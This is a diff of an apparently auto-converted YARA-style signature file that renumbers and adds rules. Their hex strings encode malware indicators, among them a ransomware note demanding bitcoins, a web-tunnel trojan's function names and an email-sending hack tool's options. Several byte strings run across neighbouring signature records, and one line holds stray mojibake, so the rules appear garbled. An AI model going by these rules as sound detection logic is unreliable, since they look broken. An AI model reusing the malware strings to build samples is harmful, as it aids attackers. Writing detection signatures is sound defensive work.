1)*20275+(#a_00_2 & 1)*26212+(#a_64_3 & 1)*385+(#a_6e_4 & 1)*28271+(#a_39_5 & 1)*12593) >=6 } -rule _InfrastructureShared_14779{ +rule _InfrastructureShared_15749{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -169993,7 +181344,7 @@ rule _InfrastructureShared_14779{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*111+(#a_00_2 & 1)*116+(#a_54_3 & 1)*28261+(#a_65_4 & 1)*26998+(#a_6f_5 & 1)*17005) >=6 } -rule _InfrastructureShared_14780{ +rule _InfrastructureShared_15750{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -170008,7 +181359,7 @@ rule _InfrastructureShared_14780{ ((#a_54_0 & 1)*18467+(#a_34_1 & 1)*13101+(#a_73_2 & 1)*21038+(#a_36_3 & 1)*24931+(#a_67_4 & 1)*21356+(#a_75_5 & 1)*12082) >=6 } -rule _InfrastructureShared_14781{ +rule _InfrastructureShared_15751{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -170023,7 +181374,7 @@ rule _InfrastructureShared_14781{ ((#a_54_0 & 1)*18467+(#a_36_1 & 1)*14408+(#a_72_2 & 1)*25670+(#a_73_3 & 1)*17007+(#a_64_4 & 1)*28517+(#a_66_5 & 1)*26994) >=6 } -rule _InfrastructureShared_14782{ +rule _InfrastructureShared_15752{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -170038,7 +181389,7 @@ rule _InfrastructureShared_14782{ ((#a_54_0 & 1)*18467+(#a_6b_1 & 1)*25196+(#a_61_2 & 1)*23589+(#a_73_3 & 1)*28523+(#a_65_4 & 1)*27753+(#a_2d_5 & 1)*12848) >=6 } -rule _InfrastructureShared_14783{ +rule _InfrastructureShared_15753{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -170052,7 +181403,7 @@ rule _InfrastructureShared_14783{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*29549+(#a_00_2 & 1)*29291+(#a_3a_3 & 1)*12848+(#a_00_5 & 1)*7) >=6 } -rule _InfrastructureShared_14784{ +rule _InfrastructureShared_15754{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 07 00 21 " @@ -170068,7 +181419,7 @@ rule _InfrastructureShared_14784{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*26661+(#a_01_2 & 1)*28793+(#a_63_3 & 1)*385+(#a_5c_4 & 1)*26223+(#a_01_5 & 1)*24930+(#a_42_6 & 1)*17475) >=6 } -rule _InfrastructureShared_14785{ +rule _InfrastructureShared_15755{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 06 00 21 " @@ -170082,7 +181433,7 @@ rule _InfrastructureShared_14785{ ((#a_46_0 & 1)*16675+(#a_39_1 & 1)*24833+(#a_6e_2 & 1)*22364+(#a_32_3 & 1)*24882+(#a_6e_4 & 1)*385) >=7 } -rule _InfrastructureShared_14786{ +rule _InfrastructureShared_15756{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -170098,7 +181449,7 @@ rule _InfrastructureShared_14786{ ((#a_54_0 & 1)*18467+(#a_62_1 & 1)*24933+(#a_7a_2 & 1)*385+(#a_33_3 & 1)*26967+(#a_74_4 & 1)*29811+(#a_48_5 & 1)*8448+(#a_00_6 & 1)*66) >=7 } -rule _InfrastructureShared_14787{ +rule _InfrastructureShared_15757{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -170112,7 +181463,7 @@ rule _InfrastructureShared_14787{ ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*28777+(#a_00_4 & 1)*8+(#a_6f_5 & 1)*21562+(#a_59_6 & 1)*20525) >=7 } -rule _InfrastructureShared_14788{ +rule _InfrastructureShared_15758{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 06 00 21 " @@ -170126,7 +181477,7 @@ rule _InfrastructureShared_14788{ ((#a_54_0 & 1)*18467+(#a_30_1 & 1)*13108+(#a_01_2 & 1)*2304+(#a_6e_3 & 1)*28781+(#a_00_4 & 1)*114) >=8 } -rule _InfrastructureShared_14789{ +rule _InfrastructureShared_15759{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -170141,7 +181492,7 @@ rule _InfrastructureShared_14789{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*26719+(#a_5f_2 & 1)*12593+(#a_00_4 & 1)*112+(#a_6e_5 & 1)*29808+(#a_00_6 & 1)*0) >=8 } -rule _InfrastructureShared_14790{ +rule _InfrastructureShared_15760{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 04 00 21 " @@ -170153,7 +181504,7 @@ rule _InfrastructureShared_14790{ ((#a_6e_0 & 1)*21027+(#a_2e_1 & 1)*25964+(#a_52_3 & 1)*21320) >=10 } -rule _InfrastructureShared_14791{ +rule _InfrastructureShared_15761{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -170172,7 +181523,7 @@ rule _InfrastructureShared_14791{ ((#a_54_0 & 1)*18467+(#a_63_1 & 1)*19551+(#a_69_2 & 1)*27248+(#a_50_3 & 1)*-5+(#a_01_4 & 1)*5631+(#a_69_5 & 1)*12342+(#a_6e_6 & 1)*25710+(#a_49_7 & 1)*19770+(#a_28_8 & 1)*1809+(#a_06_9 & 1)*-28412) >=10 } -rule _InfrastructureShared_14792{ +rule _InfrastructureShared_15762{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 06 00 21 " @@ -170184,7 +181535,7 @@ rule _InfrastructureShared_14792{ ((#a_54_0 & 1)*18467+(#a_ff_2 & 1)*-1032+(#a_90_3 & 1)*-176) >=11 } -rule _InfrastructureShared_14793{ +rule _InfrastructureShared_15763{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 06 00 21 " @@ -170197,7 +181548,7 @@ rule _InfrastructureShared_14793{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*400+(#a_85_4 & 1)*106+(#a_41_5 & 1)*24940) >=11 } -rule _InfrastructureShared_14794{ +rule _InfrastructureShared_15764{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 07 00 21 " @@ -170213,7 +181564,7 @@ rule _InfrastructureShared_14794{ ((#a_54_0 & 1)*18467+(#a_75_1 & 1)*29541+(#a_62_2 & 1)*25185+(#a_09_3 & 1)*26112+(#a_ff_4 & 1)*-10646+(#a_84_5 & 1)*1553+(#a_05_6 & 1)*-31740) >=16 } -rule _InfrastructureShared_14795{ +rule _InfrastructureShared_15765{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,12 00 12 00 05 00 21 " @@ -170227,7 +181578,7 @@ rule _InfrastructureShared_14795{ ((#a_54_0 & 1)*18467+(#a_9e_1 & 1)*-31740+(#a_6e_2 & 1)*26433+(#a_00_3 & 1)*28265+(#a_5f_4 & 1)*17409) >=18 } -rule _InfrastructureShared_14796{ +rule _InfrastructureShared_15766{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,12 00 12 00 0a 00 21 " @@ -170245,7 +181596,7 @@ rule _InfrastructureShared_14796{ ((#a_4c_0 & 1)*21539+(#a_77_1 & 1)*19969+(#a_6c_2 & 1)*28257+(#a_00_3 & 1)*100+(#a_00_5 & 1)*105+(#a_73_6 & 1)*15904+(#a_10_7 & 1)*-29368+(#a_00_8 & 1)*-15521+(#a_01_9 & 1)*9284) >=18 } -rule _InfrastructureShared_14797{ +rule _InfrastructureShared_15767{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -170255,7 +181606,7 @@ rule _InfrastructureShared_14797{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_14798{ +rule _InfrastructureShared_15768{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -170267,7 +181618,7 @@ rule _InfrastructureShared_14798{ ((#a_46_0 & 1)*16675+(#a_20_1 & 1)*29472+(#a_ff_2 & 1)*-29880) >=1 } -rule _InfrastructureShared_14799{ +rule _InfrastructureShared_15769{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 06 00 21 " @@ -170280,7 +181631,7 @@ rule _InfrastructureShared_14799{ ((#a_54_0 & 1)*18467+(#a_24_2 & 1)*-18929+(#a_01_3 & 1)*-28636+(#a_90_4 & 1)*-30248) >=1 } -rule _InfrastructureShared_14800{ +rule _InfrastructureShared_15770{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 07 00 21 " @@ -170296,7 +181647,7 @@ rule _InfrastructureShared_14800{ ((#a_54_0 & 1)*18467+(#a_0e_1 & 1)*791+(#a_3a_2 & 1)*24938+(#a_01_3 & 1)*26739+(#a_31_4 & 1)*25970+(#a_00_5 & 1)*97+(#a_00_6 & 1)*46) >=1 } -rule _InfrastructureShared_14801{ +rule _InfrastructureShared_15771{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -170307,7 +181658,7 @@ rule _InfrastructureShared_14801{ ((#a_6f_0 & 1)*21539+(#a_01_1 & 1)*26739) >=2 } -rule _InfrastructureShared_14802{ +rule _InfrastructureShared_15772{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -170319,7 +181670,7 @@ rule _InfrastructureShared_14802{ ((#a_46_0 & 1)*16675+(#a_5a_1 & 1)*16697+(#a_00_2 & 1)*112) >=2 } -rule _InfrastructureShared_14803{ +rule _InfrastructureShared_15773{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -170331,7 +181682,7 @@ rule _InfrastructureShared_14803{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*110+(#a_00_2 & 1)*73) >=2 } -rule _InfrastructureShared_14804{ +rule _InfrastructureShared_15774{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 21 " @@ -170342,7 +181693,7 @@ rule _InfrastructureShared_14804{ ((#a_4c_0 & 1)*21539+(#a_cc_1 & 1)*16500) >=3 } -rule _InfrastructureShared_14805{ +rule _InfrastructureShared_15775{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -170354,7 +181705,7 @@ rule _InfrastructureShared_14805{ ((#a_46_0 & 1)*16675+(#a_cb_1 & 1)*257+(#a_4c_2 & 1)*8993) >=3 } -rule _InfrastructureShared_14806{ +rule _InfrastructureShared_15776{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -170366,7 +181717,7 @@ rule _InfrastructureShared_14806{ ((#a_46_0 & 1)*16675+(#a_02_1 & 1)*513+(#a_48_2 & 1)*21076) >=3 } -rule _InfrastructureShared_14807{ +rule _InfrastructureShared_15777{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -170377,7 +181728,7 @@ rule _InfrastructureShared_14807{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*114) >=4 } -rule _InfrastructureShared_14808{ +rule _InfrastructureShared_15778{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -170387,7 +181738,20 @@ rule _InfrastructureShared_14808{ ((#a_54_0 & 1)*18467) >=4 } -rule _InfrastructureShared_14809{ +rule _InfrastructureShared_15779{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_46_0 = {57 69 6e 36 34 2f 48 75 6e 74 69 6e 67 53 6e 61 6b 65 73 2e 4a 00 01 00 15 03 48 8b 45 f8 ba 90 01 04 48 89 c1 48 8b 05 90 01 04 ff d0 90 00 01 00 38 03 48 8b 85 b0 1f 03 00 48 c7 44 24 30 90 01 04 48 c7 44 24 28 90 01 04 48 c7 } //21283 + $a_90_1 = {04 49 89 d1 41 b8 90 01 04 ba 90 01 04 48 89 c1 48 8b 05 90 01 04 ff d0 90 00 01 00 22 03 48 8b } //9284 + $a_8b_2 = {90 01 04 48 c7 44 24 20 90 01 04 41 b9 90 01 04 41 b8 90 01 04 48 89 c1 e8 90 00 01 00 3b 03 48 8b 95 e8 02 00 00 48 8b 85 a8 1f 03 00 c7 44 24 28 90 01 04 c7 44 24 20 90 01 04 4c 8b 95 98 1f 03 00 41 b9 90 01 04 49 } //-6059 + $a_90_3 = {04 48 89 c1 41 ff d2 48 89 45 e8 90 00 00 00 78 de 00 00 04 00 04 00 05 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 45 6f 72 65 7a 6f 5f 44 65 63 72 79 70 74 6f 72 2e 41 32 00 01 00 1c 01 2e 54 65 78 74 00 63 69 70 68 65 72 54 65 78 74 00 6b 65 79 00 53 79 73 74 65 6d 2e 01 00 1d 01 67 65 74 5f 55 54 46 38 78 30 30 3c 4d 6f 64 75 6c 65 3e 00 53 79 73 74 65 6d 2e 49 4f 01 00 29 01 2e 63 63 74 6f 72 00 43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 00 53 79 73 74 65 6d 2e 44 69 61 67 6e 6f 73 74 69 63 73 01 00 22 01 67 65 74 5f 44 65 66 61 75 6c 74 00 67 } //-12151 + condition: + ((#a_46_0 & 1)*21283+(#a_90_1 & 1)*9284+(#a_8b_2 & 1)*-6059+(#a_90_3 & 1)*-12151) >=4 + +} +rule _InfrastructureShared_15780{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -170400,7 +181764,7 @@ rule _InfrastructureShared_14809{ ((#a_46_0 & 1)*16675+(#a_75_1 & 1)*28493+(#a_75_2 & 1)*25976+(#a_65_3 & 1)*28496) >=4 } -rule _InfrastructureShared_14810{ +rule _InfrastructureShared_15781{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -170414,7 +181778,7 @@ rule _InfrastructureShared_14810{ ((#a_46_0 & 1)*16675+(#a_70_1 & 1)*29797+(#a_00_2 & 1)*32+(#a_6f_3 & 1)*25970+(#a_6f_4 & 1)*29810) >=4 } -rule _InfrastructureShared_14811{ +rule _InfrastructureShared_15782{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " @@ -170429,7 +181793,7 @@ rule _InfrastructureShared_14811{ ((#a_46_0 & 1)*16675+(#a_25_1 & 1)*12032+(#a_69_2 & 1)*28493+(#a_00_3 & 1)*30720+(#a_00_4 & 1)*30720+(#a_00_5 & 1)*30720) >=4 } -rule _InfrastructureShared_14812{ +rule _InfrastructureShared_15783{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 03 00 21 " @@ -170441,7 +181805,7 @@ rule _InfrastructureShared_14812{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*29189+(#a_69_2 & 1)*1041) >=5 } -rule _InfrastructureShared_14813{ +rule _InfrastructureShared_15784{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -170455,7 +181819,7 @@ rule _InfrastructureShared_14813{ ((#a_46_0 & 1)*16675+(#a_98_1 & 1)*-20937+(#a_d9_2 & 1)*-5371+(#a_61_3 & 1)*25966+(#a_61_4 & 1)*11620) >=5 } -rule _InfrastructureShared_14814{ +rule _InfrastructureShared_15785{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -170469,7 +181833,7 @@ rule _InfrastructureShared_14814{ ((#a_54_0 & 1)*18467+(#a_36_1 & 1)*14437+(#a_00_2 & 1)*25188+(#a_6f_3 & 1)*385+(#a_81_4 & 1)*1) >=5 } -rule _InfrastructureShared_14815{ +rule _InfrastructureShared_15786{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -170483,7 +181847,7 @@ rule _InfrastructureShared_14815{ ((#a_54_0 & 1)*18467+(#a_70_1 & 1)*29800+(#a_77_2 & 1)*28778+(#a_73_3 & 1)*25974+(#a_00_4 & 1)*5) >=5 } -rule _InfrastructureShared_14816{ +rule _InfrastructureShared_15787{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -170497,21 +181861,36 @@ rule _InfrastructureShared_14816{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*28499+(#a_4b_2 & 1)*26478+(#a_00_3 & 1)*26724+(#a_00_4 & 1)*1) >=5 } -rule _InfrastructureShared_14817{ +rule _InfrastructureShared_15788{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 06 00 21 " strings : $a_46_0 = {45 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 46 75 6e 72 75 6e 6e 65 72 2e 41 21 64 68 61 00 01 00 0f 01 53 74 72 44 65 63 41 6e 64 55 6e 47 7a 69 70 01 00 13 01 41 45 53 44 65 63 72 79 70 74 41 6e 64 55 6e 47 7a 69 70 01 00 11 } //16675 $a_69_1 = {41 6e 64 41 45 53 45 6e 63 72 79 70 74 01 00 1e 00 4d 00 69 00 63 00 72 00 6f 00 73 00 66 00 74 00 2e 00 53 00 79 00 73 00 74 00 65 00 6d 00 01 00 2c 00 66 00 69 00 6c 00 65 00 73 00 2f 00 63 00 72 00 65 00 61 00 74 00 65 00 5f 00 66 00 6f 00 6c 00 64 00 65 00 72 00 5f 00 76 00 32 00 01 00 1c 00 64 00 65 00 63 00 72 00 79 00 70 00 74 00 20 00 70 00 73 00 43 00 6f } //18177 - $a_de_3 = {00 05 00 05 00 06 00 21 23 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 45 6d 61 69 6c 53 65 6e 64 21 6c 6f 77 66 69 00 01 00 11 01 3c 2d 75 3a 67 6d 61 69 6c 41 63 63 6f 75 6e 74 3e 01 00 0d 01 3c 2d 70 3a 50 73 61 61 77 6f 72 64 3e 01 00 0f 01 5b 2d 74 3a 53 65 6e 64 54 6f 4d 61 69 6c 5d 01 00 19 01 3c 2d 66 3a 46 69 6c 65 31 20 66 69 6c 65 32 20 66 69 6c } //0 - $a_2e_4 = {3e 01 00 1e 01 45 66 31 63 48 32 61 65 30 67 4c 36 4b 4d 37 61 65 30 61 65 30 63 48 32 61 65 30 67 4c 36 01 00 39 01 3d 6f 61 75 74 68 32 } //13157 ľḀ䔁ㅦ䡣愲づ䱧䬶㝍敡愰づ䡣愲づ䱧Ķ㤀㴁慯瑵㉨ - $a_61_5 = {35 35 38 32 34 35 35 39 33 26 72 65 73 70 6f 6e 73 65 5f 74 79 70 65 3d 74 6f 6b 65 6e 26 73 74 61 74 65 3d 32 37 34 30 33 34 39 39 37 00 00 78 de 00 00 06 00 06 00 06 00 21 23 41 4c 46 3a 52 61 6e 73 6f 6d 3a 4d 53 49 4c 2f 46 69 6c 65 43 6f 64 65 72 2e 56 21 4d 54 42 00 01 00 0f 81 01 43 72 65 61 74 65 44 65 63 72 79 70 } //25970 + $a_de_3 = {00 05 00 05 00 06 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 61 6c 6c 79 50 75 70 70 65 74 2e 41 21 64 68 61 00 01 00 1c 01 2f 77 65 62 5f 74 75 6e 6e 65 6c 2f 63 6f 6d 6d 6f 6e 2f 63 6f 6d 6d 6f 6e 2e 67 6f 01 00 1a 01 2f 77 65 62 5f 74 75 6e 6e 65 6c 2f 61 67 65 6e 74 2f 61 67 65 6e 74 2e 67 6f 01 00 0c 01 2e 72 6f 75 74 69 6e } //0 + $a_6f_4 = {01 00 18 01 2e 72 6f 75 74 69 6e 65 48 61 6e 64 6c 65 43 6f 6e 6e 65 63 74 69 6f 6e 01 00 1d 01 77 65 62 5f 74 75 6e 6e 65 6c 2f 63 6f 6d 6d 6f 6e 2e 55 70 6c 6f 61 64 5f 64 61 74 61 01 00 1f 01 77 65 62 5f 74 75 6e 6e 65 6c 2f 63 6f 6d 6d 6f 6e 2e 44 6f 77 6e 6c 6f 61 64 5f 64 61 74 61 00 00 78 de 00 00 05 00 05 00 06 00 21 23 48 61 63 6b 54 6f } //19557 + $a_57_5 = {6e 33 32 2f 45 6d 61 69 6c 53 65 6e 64 21 6c 6f 77 66 69 00 01 00 11 01 3c 2d 75 3a 67 6d 61 69 6c 41 63 63 6f 75 6e 74 3e 01 00 0d 01 3c 2d 70 3a 50 73 61 61 77 6f 72 64 3e } //27759 condition: - ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*18177+(#a_de_3 & 1)*0+(#a_2e_4 & 1)*13157+(#a_61_5 & 1)*25970) >=5 + ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*18177+(#a_de_3 & 1)*0+(#a_6f_4 & 1)*19557+(#a_57_5 & 1)*27759) >=5 } -rule _InfrastructureShared_14818{ +rule _InfrastructureShared_15789{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 06 00 21 " + + strings : + $a_46_0 = {45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 61 6c 6c 79 50 75 70 70 65 74 2e 41 21 64 68 61 00 01 00 1c 01 2f 77 65 62 5f 74 75 6e 6e 65 6c 2f 63 6f 6d 6d 6f 6e 2f 63 6f 6d 6d 6f 6e 2e 67 6f 01 00 1a 01 2f 77 65 62 5f 74 } //16675 + $a_65_1 = {2f 61 67 65 6e 74 2f 61 67 65 6e 74 2e 67 6f 01 00 0c 01 2e 72 6f 75 74 69 6e 65 4c 74 6f 41 01 00 18 01 2e 72 6f 75 74 69 6e 65 48 61 6e 64 6c 65 43 6f 6e 6e 65 63 74 69 6f 6e 01 00 1d 01 77 65 62 5f 74 75 6e 6e 65 6c 2f 63 6f 6d 6d 6f 6e 2e 55 70 6c 6f 61 64 5f 64 61 74 61 01 00 1f 01 77 65 62 5f 74 75 6e 6e 65 6c 2f 63 6f 6d } //28277 + $a_2e_2 = {6f 77 6e 6c 6f 61 64 5f 64 61 74 61 00 00 78 de 00 00 05 00 05 00 06 00 21 23 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 45 6d 61 69 6c 53 65 6e 64 21 6c 6f 77 66 69 00 01 00 11 01 3c 2d 75 3a 67 6d 61 69 6c 41 63 63 6f 75 6e 74 3e 01 00 0d 01 3c 2d 70 3a 50 73 61 61 77 6f 72 64 3e 01 00 0f 01 5b 2d 74 3a 53 65 6e 64 54 6f 4d } //28525 + $a_5d_3 = {00 19 01 3c 2d 66 3a 46 69 6c 65 31 20 66 69 6c 65 32 20 66 69 6c 65 33 2e 2e 2e 3e 01 00 1e 01 45 66 31 63 48 32 61 65 30 67 4c 36 4b 4d 37 61 65 30 61 65 30 63 48 32 61 65 30 67 4c 36 01 00 39 01 3d 6f 61 75 74 68 32 72 65 6c 61 79 35 35 38 32 34 35 35 39 33 26 72 65 73 70 6f 6e 73 65 5f 74 79 70 65 3d 74 6f 6b 65 6e 26 } //26977 + $a_74_4 = {3d 32 37 34 30 33 34 39 39 37 00 00 78 de 00 00 06 00 06 00 06 00 21 23 41 4c 46 3a 52 61 6e 73 6f 6d 3a 4d 53 49 4c 2f 46 69 6c 65 43 6f 64 65 72 2e 56 21 4d 54 42 00 01 00 0f 81 01 43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 01 00 0a 81 01 72 61 6e 73 6f 6d 2e 70 64 62 01 00 0a 81 01 73 } //29811 + $a_65_5 = {2e 74 78 74 01 00 0d 81 01 73 65 63 72 65 74 41 45 53 2e 74 78 74 01 00 2c 81 01 41 6c 6c 20 79 6f 75 72 20 66 69 6c 65 73 20 68 61 73 20 62 65 65 6e 20 65 6e 63 72 79 70 74 65 64 20 77 69 74 68 20 53 48 49 56 41 01 00 3a 81 01 53 65 6e 64 20 6d 65 20 33 20 62 69 74 63 6f 69 6e 73 20 74 6f 20 58 58 58 58 20 6f 72 20 73 61 79 20 67 6f 6f 64 } //25445 + condition: + ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*28277+(#a_2e_2 & 1)*28525+(#a_5d_3 & 1)*26977+(#a_74_4 & 1)*29811+(#a_65_5 & 1)*25445) >=5 + +} +rule _InfrastructureShared_15790{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 06 00 21 " @@ -170525,7 +181904,7 @@ rule _InfrastructureShared_14818{ ((#a_63_0 & 1)*18467+(#a_6c_1 & 1)*26144+(#a_00_3 & 1)*0+(#a_3a_4 & 1)*19521+(#a_2e_5 & 1)*25970) >=5 } -rule _InfrastructureShared_14819{ +rule _InfrastructureShared_15791{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -170540,7 +181919,7 @@ rule _InfrastructureShared_14819{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*29816+(#a_65_2 & 1)*385+(#a_73_3 & 1)*27753+(#a_3c_4 & 1)*19838+(#a_31_5 & 1)*13111) >=6 } -rule _InfrastructureShared_14820{ +rule _InfrastructureShared_15792{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -170555,7 +181934,7 @@ rule _InfrastructureShared_14820{ ((#a_54_0 & 1)*18467+(#a_2e_1 & 1)*15411+(#a_34_2 & 1)*11056+(#a_46_3 & 1)*385+(#a_73_4 & 1)*28516+(#a_7d_5 & 1)*12855) >=6 } -rule _InfrastructureShared_14821{ +rule _InfrastructureShared_15793{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -170569,7 +181948,7 @@ rule _InfrastructureShared_14821{ ((#a_54_0 & 1)*18467+(#a_39_1 & 1)*16763+(#a_2d_2 & 1)*13368+(#a_38_3 & 1)*11569+(#a_00_5 & 1)*119) >=6 } -rule _InfrastructureShared_14822{ +rule _InfrastructureShared_15794{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 07 00 21 " @@ -170585,7 +181964,7 @@ rule _InfrastructureShared_14822{ ((#a_41_0 & 1)*20515+(#a_77_1 & 1)*29537+(#a_00_2 & 1)*30821+(#a_4a_3 & 1)*18515+(#a_01_4 & 1)*25955+(#a_2d_5 & 1)*13668+(#a_39_6 & 1)*27992) >=6 } -rule _InfrastructureShared_14823{ +rule _InfrastructureShared_15795{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -170599,7 +181978,7 @@ rule _InfrastructureShared_14823{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*385+(#a_6f_3 & 1)*385+(#a_65_5 & 1)*12836+(#a_78_6 & 1)*275) >=7 } -rule _InfrastructureShared_14824{ +rule _InfrastructureShared_15796{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -170614,7 +181993,7 @@ rule _InfrastructureShared_14824{ ((#a_54_0 & 1)*18467+(#a_2e_1 & 1)*11894+(#a_00_3 & 1)*110+(#a_30_4 & 1)*14706+(#a_65_5 & 1)*28257+(#a_78_6 & 1)*23155) >=7 } -rule _InfrastructureShared_14825{ +rule _InfrastructureShared_15797{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -170630,7 +182009,7 @@ rule _InfrastructureShared_14825{ ((#a_54_0 & 1)*18467+(#a_4d_1 & 1)*13409+(#a_49_2 & 1)*29793+(#a_43_3 & 1)*18793+(#a_53_4 & 1)*13925+(#a_3a_5 & 1)*21587+(#a_01_6 & 1)*1) >=7 } -rule _InfrastructureShared_14826{ +rule _InfrastructureShared_15798{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -170647,7 +182026,7 @@ rule _InfrastructureShared_14826{ ((#a_54_0 & 1)*18467+(#a_4b_1 & 1)*-32502+(#a_65_2 & 1)*19819+(#a_67_3 & 1)*30050+(#a_72_4 & 1)*29281+(#a_63_5 & 1)*22089+(#a_55_6 & 1)*28724+(#a_2e_7 & 1)*28482) >=8 } -rule _InfrastructureShared_14827{ +rule _InfrastructureShared_15799{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -170661,7 +182040,7 @@ rule _InfrastructureShared_14827{ ((#a_54_0 & 1)*18467+(#a_74_2 & 1)*21249+(#a_65_3 & 1)*29301+(#a_52_4 & 